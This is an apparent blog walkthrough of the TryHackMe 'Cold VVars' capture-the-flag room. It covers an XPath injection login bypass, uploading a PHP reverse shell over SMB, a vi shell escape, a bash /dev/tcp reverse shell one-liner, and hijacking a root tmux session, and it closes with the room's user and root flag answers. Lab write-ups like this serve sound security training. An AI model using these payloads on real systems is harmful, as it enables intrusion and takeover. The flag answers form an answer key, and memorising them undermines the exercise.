Cold VVars (THM) Tryhackme Walkthrough

Difficulty : Medium

Note : All of the content and images are from https://tryhackme.com/

Room : https://tryhackme.com/room/coldvvars

Enjoy.

Walkthrough :

1. Reconnaissance & Port Scanning

The engagement begins with a comprehensive Nmap scan to map the network footprint of the target machine, identify active services, and discover potential entry vectors.

nmap -sC -sV -p- <TARGET_IP>

nmap -sC -sV -p- <TARGET_IP>

Key Findings from the Scan:

• Ports 139 / 445 (Samba — smbd 4.7.6-Ubuntu): Indicates the presence of accessible network shares, which are highly attractive targets for sensitive data harvesting or file uploading.
• Port 8080 (Apache httpd 2.4.29): An HTTP server hosting a /dev directory. This subfolder strongly suggests development files or testing environments are exposed.
• Port 8082 (Node.js Express): A modern web application backend serving a custom /login interface.

2. Web Exploitation & Initial Access

Navigating to the Node.js application at http://<TARGET_IP>:8082/login reveals a standardized authentication form. Modern web backends interacting with structural data formats like XML can be highly susceptible to structural injection if user inputs are left un-sanitized.

1. Testing for XPath Injection: Inputting a universal truth string into the username and password fields breaks the backend query logic.
2. Payload: Input the following string into both fields:

" or 1=1 or "

" or 1=1 or "

1. The Result: The logical OR statement forces the query evaluator to return a true state regardless of the input. Instead of just logging you in, the poorly configured backend error-handles by printing out the structural data profile of the user database. This leaks the plaintext credentials for a system user named ArthurMorgan.

2. Exploiting SMB & Uploading a Reverse Shell

With legitimate credentials in hand, the next phase focuses on evaluating the Samba ecosystem discovered during the reconnaissance phase.

1. Authenticate to the Samba server as ArthurMorgan using the smbclient utility:

smbclient //<TARGET_IP>/SECURED -U ArthurMorgan

smbclient //<TARGET_IP>/SECURED -U ArthurMorgan

1. Directory Mapping: Inside the SECURED share, you will notice a file named note.txt. Cross-referencing this with the web server on port 8080 shows that the exact same file is visible at http://<TARGET_IP>:8080/dev/note.txt. This confirms a crucial infrastructure link: the SECURED SMB share maps directly to the web root's /dev directory.
2. Weaponization: Prepare a standard PHP reverse shell script (such as the industry-standard script from PentestMonkey). Edit the source code of the script to embed your specific TryHackMe Virtual Private Network (tun0) IP address and the port you intend to listen on.
3. Execution: Upload the payload directly through your active SMB prompt:

smb: \> put shell.php

smb: \> put shell.php

1. Spin up a Netcat listener on your local machine to catch the inbound connection:

nc -lvnp <YOUR_PORT>

nc -lvnp <YOUR_PORT>

1. Trigger the execution of the script by forcing the Apache web server to parse it. Navigate to: http://<TARGET_IP>:8080/dev/shell.php. Your listener will immediately catch an active shell running under the context of the low-privileged web daemon user, www-data.

2. Lateral Movement (ArthurMorgan & marston)

The initial access shell is restricted and unstable. The objective now shifts to pivoting into actual user accounts configured on the underlying Linux OS.

1. Upgrade your volatile shell into a fully interactive TTY environment utilizing Python's pseudo-terminal utilities:

python3 -c 'import pty; pty.spawn("/bin/bash")'

python3 -c 'import pty; pty.spawn("/bin/bash")'

1. Pivot cleanly into the first local user account using the credentials salvaged from the earlier XPath injection:

su ArthurMorgan

su ArthurMorgan

1. Environment Variable Analysis: Run the env command to list the environment variables currently loaded into ArthurMorgan's profile. An unusual variable immediately stands out:

OPEN_PORT=4545

OPEN_PORT=4545

1. Local Port Interaction: Use Netcat to probe what service is bound to this internal-only port:

nc localhost 4545

nc localhost 4545

1. Application Break-out: Connecting to port 4545 opens an automated, interactive terminal menu managed by the system. Selecting Option 4 invokes the native terminal text editor, vi.
2. vi possesses built-in macro-execution behaviors. Since this custom application menu runs under higher privileges than your current user, escaping it drops you directly into its executor's context. Inside vi, type the escape command to spawn a fresh shell:

:!/bin/bash

:!/bin/bash

1. Pressing Enter exits the text editor and grants you an active session as the user marston.

5. Escalation to Root

The final stage requires escalating from a standard user to the absolute administrative account (root).

1. The shell dropped from vi can be highly unstable and prone to crashing. To stabilize your progress, throw a clean, outbound reverse shell back to a secondary Netcat listener on your attack machine:

• bash -c 'bash -i >& /dev/tcp/<YOUR_TUN0_IP>/<PORT> 0>&1'

bash -c 'bash -i >& /dev/tcp/<YOUR_TUN0_IP>/<PORT> 0>&1'

bash -c 'bash -i >& /dev/tcp/<YOUR_TUN0_IP>/<PORT> 0>&1'

1. Once connected to your new local terminal window, export the terminal configuration variable to ensure keyboard layouts and shortcuts function properly:

export TERM=xterm

export TERM=xterm

1. Shared Session Exploitation: Look for active multiplexer environments running on the host system:

tmux ls

tmux ls

1. Hijacking the Session: The output will reveal an active, unattached tmux session. Because this specific session background process was initiated and maintained under the structural context of the system administrator, re-attaching yourself to it bypasses authentication walls

tmux attach-session -t <session_name>

tmux attach-session -t <session_name>

1. The Capture: Attaching to the terminal multiplexer drops you straight into the root user's active viewport. You are now root and can fully collect the final flags to complete the room.

Task 1 Challenge

Part of Incognito 2.0 CTF(opens in new tab)

Note- The machine may take about 5 minutes to fully boot.

Like my work, Follow on twitter to be updated and know more about my work! (@0cirius0(opens in new tab))

Answer the questions below

Q1.) User.txt

Hint :

Hey,

This is the hint you’re looking for: The PATH may sometimes make a cross.

Let me know if you want any help.

Hey,

This is the hint you’re looking for: The PATH may sometimes make a cross.

Let me know if you want any help.

Answer : ae39f419ce0a3a26f15db5aaa7e446ff

Q2.) Root.txt

Answer : 42f191b937ea71cd2052a06a7a08585a

I hope you enjoyed reading this post as much as I enjoyed writing it. Thanks for reading my blog sir ;) Lawvye